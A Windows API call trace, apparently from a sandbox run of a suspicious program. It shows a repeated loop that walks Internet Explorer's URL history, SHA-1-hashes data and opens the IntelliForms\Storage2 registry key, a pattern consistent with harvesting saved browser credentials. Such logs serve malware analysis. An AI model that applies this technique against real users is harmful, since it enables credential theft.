	[0211.397] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x257ef28, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x257ef28, pdwDataLen=0x5ffde9c) returned 1
	[0211.397] GetLastError () returned 0x0
	[0211.397] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.397] CryptReleaseContext (hProv=0x5b0408, dwFlags=0x0) returned 1
	[0211.397] GetLastError () returned 0x0
	[0211.397] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.397] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.397] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.397] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.398] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.398] CoTaskMemFree (pv=0x5d6b70) 
	[0211.398] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0408) returned 1
	[0211.400] GetLastError () returned 0x0
	[0211.400] CryptCreateHash (in: hProv=0x5b0408, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.400] GetLastError () returned 0x0
	[0211.400] CryptHashData (hHash=0x5bb4b0, pbData=0x257fc54, dwDataLen=0x9a, dwFlags=0x0) returned 1
	[0211.400] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x257fd74, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x257fd74, pdwDataLen=0x5ffde9c) returned 1
	[0211.400] GetLastError () returned 0x0
	[0211.400] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.400] CryptReleaseContext (hProv=0x5b0408, dwFlags=0x0) returned 1
	[0211.400] GetLastError () returned 0x0
	[0211.400] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.400] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.400] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.401] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.401] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.401] CoTaskMemFree (pv=0x5e72a0) 
	[0211.401] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0408) returned 1
	[0211.402] GetLastError () returned 0x0
	[0211.402] CryptCreateHash (in: hProv=0x5b0408, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.402] GetLastError () returned 0x0
	[0211.402] CryptHashData (hHash=0x5bb4b0, pbData=0x2580a40, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0211.402] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2580b30, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2580b30, pdwDataLen=0x5ffde9c) returned 1
	[0211.402] GetLastError () returned 0x0
	[0211.403] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.403] CryptReleaseContext (hProv=0x5b0408, dwFlags=0x0) returned 1
	[0211.403] GetLastError () returned 0x0
	[0211.403] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.403] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.403] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.403] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.403] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.404] CoTaskMemFree (pv=0x5aff40) 
	[0211.404] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5aff40) returned 1
	[0211.405] GetLastError () returned 0x0
	[0211.405] CryptCreateHash (in: hProv=0x5aff40, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.405] GetLastError () returned 0x0
	[0211.405] CryptHashData (hHash=0x5bb4b0, pbData=0x2581820, dwDataLen=0x7c, dwFlags=0x0) returned 1
	[0211.405] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2581924, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2581924, pdwDataLen=0x5ffde9c) returned 1
	[0211.405] GetLastError () returned 0x0
	[0211.405] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.405] CryptReleaseContext (hProv=0x5aff40, dwFlags=0x0) returned 1
	[0211.405] GetLastError () returned 0x0
	[0211.405] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.405] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.405] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.405] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.406] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.406] CoTaskMemFree (pv=0x5e0300) 
	[0211.406] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5aff40) returned 1
	[0211.407] GetLastError () returned 0x0
	[0211.407] CryptCreateHash (in: hProv=0x5aff40, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.407] GetLastError () returned 0x0
	[0211.407] CryptHashData (hHash=0x5bb4b0, pbData=0x25825ec, dwDataLen=0x68, dwFlags=0x0) returned 1
	[0211.407] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x25826dc, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x25826dc, pdwDataLen=0x5ffde9c) returned 1
	[0211.407] GetLastError () returned 0x0
	[0211.407] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.407] CryptReleaseContext (hProv=0x5aff40, dwFlags=0x0) returned 1
	[0211.407] GetLastError () returned 0x0
	[0211.407] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.407] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.407] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.407] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.408] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.408] CoTaskMemFree (pv=0x5e25d8) 
	[0211.408] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x54f080) returned 1
	[0211.409] GetLastError () returned 0x0
	[0211.409] CryptCreateHash (in: hProv=0x54f080, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.409] GetLastError () returned 0x0
	[0211.409] CryptHashData (hHash=0x5bb4b0, pbData=0x2583390, dwDataLen=0x5e, dwFlags=0x0) returned 1
	[0211.409] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2583474, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2583474, pdwDataLen=0x5ffde9c) returned 1
	[0211.409] GetLastError () returned 0x0
	[0211.409] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.409] CryptReleaseContext (hProv=0x54f080, dwFlags=0x0) returned 1
	[0211.409] GetLastError () returned 0x0
	[0211.409] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.409] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.409] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.409] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.410] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.410] CoTaskMemFree (pv=0x5d8158) 
	[0211.410] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0518) returned 1
	[0211.411] GetLastError () returned 0x0
	[0211.411] CryptCreateHash (in: hProv=0x5b0518, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.411] GetLastError () returned 0x0
	[0211.411] CryptHashData (hHash=0x5bb4b0, pbData=0x2584224, dwDataLen=0xdc, dwFlags=0x0) returned 1
	[0211.411] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2584388, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2584388, pdwDataLen=0x5ffde9c) returned 1
	[0211.411] GetLastError () returned 0x0
	[0211.411] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.411] CryptReleaseContext (hProv=0x5b0518, dwFlags=0x0) returned 1
	[0211.411] GetLastError () returned 0x0
	[0211.411] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.412] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.412] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.412] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.413] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.413] CoTaskMemFree (pv=0x5ddff0) 
	[0211.413] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0518) returned 1
	[0211.414] GetLastError () returned 0x0
	[0211.414] CryptCreateHash (in: hProv=0x5b0518, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.414] GetLastError () returned 0x0
	[0211.414] CryptHashData (hHash=0x5bb4b0, pbData=0x25850c8, dwDataLen=0xa4, dwFlags=0x0) returned 1
	[0211.414] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x25851f4, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x25851f4, pdwDataLen=0x5ffde9c) returned 1
	[0211.414] GetLastError () returned 0x0
	[0211.414] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.414] CryptReleaseContext (hProv=0x5b0518, dwFlags=0x0) returned 1
	[0211.414] GetLastError () returned 0x0
	[0211.414] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.414] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.414] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.415] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.415] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.415] CoTaskMemFree (pv=0x5e5640) 
	[0211.415] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0518) returned 1
	[0211.416] GetLastError () returned 0x0
	[0211.417] CryptCreateHash (in: hProv=0x5b0518, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.417] GetLastError () returned 0x0
	[0211.417] CryptHashData (hHash=0x5bb4b0, pbData=0x2585ed0, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0211.417] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2585fc8, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2585fc8, pdwDataLen=0x5ffde9c) returned 1
	[0211.417] GetLastError () returned 0x0
	[0211.417] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.417] CryptReleaseContext (hProv=0x5b0518, dwFlags=0x0) returned 1
	[0211.417] GetLastError () returned 0x0
	[0211.417] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.417] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.417] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.418] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.418] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.418] CoTaskMemFree (pv=0x5e6e68) 
	[0211.418] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0518) returned 1
	[0211.419] GetLastError () returned 0x0
	[0211.419] CryptCreateHash (in: hProv=0x5b0518, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.419] GetLastError () returned 0x0
	[0211.420] CryptHashData (hHash=0x5bb4b0, pbData=0x2586c94, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0211.420] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2586d84, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2586d84, pdwDataLen=0x5ffde9c) returned 1
	[0211.420] GetLastError () returned 0x0
	[0211.420] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.420] CryptReleaseContext (hProv=0x5b0518, dwFlags=0x0) returned 1
	[0211.420] GetLastError () returned 0x0
	[0211.420] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.420] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.420] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.420] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.421] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.421] CoTaskMemFree (pv=0x5e5540) 
	[0211.421] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afb00) returned 1
	[0211.422] GetLastError () returned 0x0
	[0211.422] CryptCreateHash (in: hProv=0x5afb00, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.422] GetLastError () returned 0x0
	[0211.422] CryptHashData (hHash=0x5bb4b0, pbData=0x2587a68, dwDataLen=0x76, dwFlags=0x0) returned 1
	[0211.422] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2587b64, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2587b64, pdwDataLen=0x5ffde9c) returned 1
	[0211.423] GetLastError () returned 0x0
	[0211.423] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.423] CryptReleaseContext (hProv=0x5afb00, dwFlags=0x0) returned 1
	[0211.423] GetLastError () returned 0x0
	[0211.423] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.423] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.423] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.423] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.424] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.424] CoTaskMemFree (pv=0x5e3a20) 
	[0211.424] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afb00) returned 1
	[0211.426] GetLastError () returned 0x0
	[0211.426] CryptCreateHash (in: hProv=0x5afb00, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.426] GetLastError () returned 0x0
	[0211.426] CryptHashData (hHash=0x5bb4b0, pbData=0x25888f0, dwDataLen=0xca, dwFlags=0x0) returned 1
	[0211.426] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2588a40, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2588a40, pdwDataLen=0x5ffde9c) returned 1
	[0211.426] GetLastError () returned 0x0
	[0211.426] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.426] CryptReleaseContext (hProv=0x5afb00, dwFlags=0x0) returned 1
	[0211.426] GetLastError () returned 0x0
	[0211.426] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.426] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.426] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.427] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.427] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.428] CoTaskMemFree (pv=0x5e69b8) 
	[0211.428] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afb00) returned 1
	[0211.429] GetLastError () returned 0x0
	[0211.429] CryptCreateHash (in: hProv=0x5afb00, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.429] GetLastError () returned 0x0
	[0211.429] CryptHashData (hHash=0x5bb4b0, pbData=0x2589714, dwDataLen=0x6e, dwFlags=0x0) returned 1
	[0211.429] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2589808, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2589808, pdwDataLen=0x5ffde9c) returned 1
	[0211.429] GetLastError () returned 0x0
	[0211.429] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.429] CryptReleaseContext (hProv=0x5afb00, dwFlags=0x0) returned 1
	[0211.429] GetLastError () returned 0x0
	[0211.429] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.429] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.429] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.430] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.430] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.430] CoTaskMemFree (pv=0x5e52c0) 
	[0211.431] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afb00) returned 1
	[0211.432] GetLastError () returned 0x0
	[0211.432] CryptCreateHash (in: hProv=0x5afb00, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.432] GetLastError () returned 0x0
	[0211.432] CryptHashData (hHash=0x5bb4b0, pbData=0x258a4e8, dwDataLen=0x74, dwFlags=0x0) returned 1
	[0211.432] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x258a5e4, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x258a5e4, pdwDataLen=0x5ffde9c) returned 1
	[0211.432] GetLastError () returned 0x0
	[0211.432] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.432] CryptReleaseContext (hProv=0x5afb00, dwFlags=0x0) returned 1
	[0211.432] GetLastError () returned 0x0
	[0211.432] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.432] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.432] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.433] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.433] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.434] CoTaskMemFree (pv=0x58b968) 
	[0211.434] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afc10) returned 1
	[0211.435] GetLastError () returned 0x0
	[0211.435] CryptCreateHash (in: hProv=0x5afc10, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.435] GetLastError () returned 0x0
	[0211.435] CryptHashData (hHash=0x5bb4b0, pbData=0x258b2e0, dwDataLen=0x82, dwFlags=0x0) returned 1
	[0211.435] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x258b3e8, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x258b3e8, pdwDataLen=0x5ffde9c) returned 1
	[0211.435] GetLastError () returned 0x0
	[0211.435] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.435] CryptReleaseContext (hProv=0x5afc10, dwFlags=0x0) returned 1
	[0211.435] GetLastError () returned 0x0
	[0211.435] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.435] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.435] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.436] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.436] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.436] CoTaskMemFree (pv=0x5e0ca0) 
	[0211.436] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afd20) returned 1
	[0211.438] GetLastError () returned 0x0
	[0211.438] CryptCreateHash (in: hProv=0x5afd20, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.438] GetLastError () returned 0x0
	[0211.438] CryptHashData (hHash=0x5bb4b0, pbData=0x258c0a4, dwDataLen=0x62, dwFlags=0x0) returned 1
	[0211.438] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x258c18c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x258c18c, pdwDataLen=0x5ffde9c) returned 1
	[0211.438] GetLastError () returned 0x0
	[0211.438] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.438] CryptReleaseContext (hProv=0x5afd20, dwFlags=0x0) returned 1
	[0211.438] GetLastError () returned 0x0
	[0211.438] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.438] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.438] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.439] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.439] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.439] CoTaskMemFree (pv=0x5e6c88) 
	[0211.439] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afd20) returned 1
	[0211.440] GetLastError () returned 0x0
	[0211.440] CryptCreateHash (in: hProv=0x5afd20, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.440] GetLastError () returned 0x0
	[0211.441] CryptHashData (hHash=0x5bb4b0, pbData=0x258ce58, dwDataLen=0x6a, dwFlags=0x0) returned 1
	[0211.441] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x258cf48, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x258cf48, pdwDataLen=0x5ffde9c) returned 1
	[0211.441] GetLastError () returned 0x0
	[0211.441] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.441] CryptReleaseContext (hProv=0x5afd20, dwFlags=0x0) returned 1
	[0211.441] GetLastError () returned 0x0
	[0211.441] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
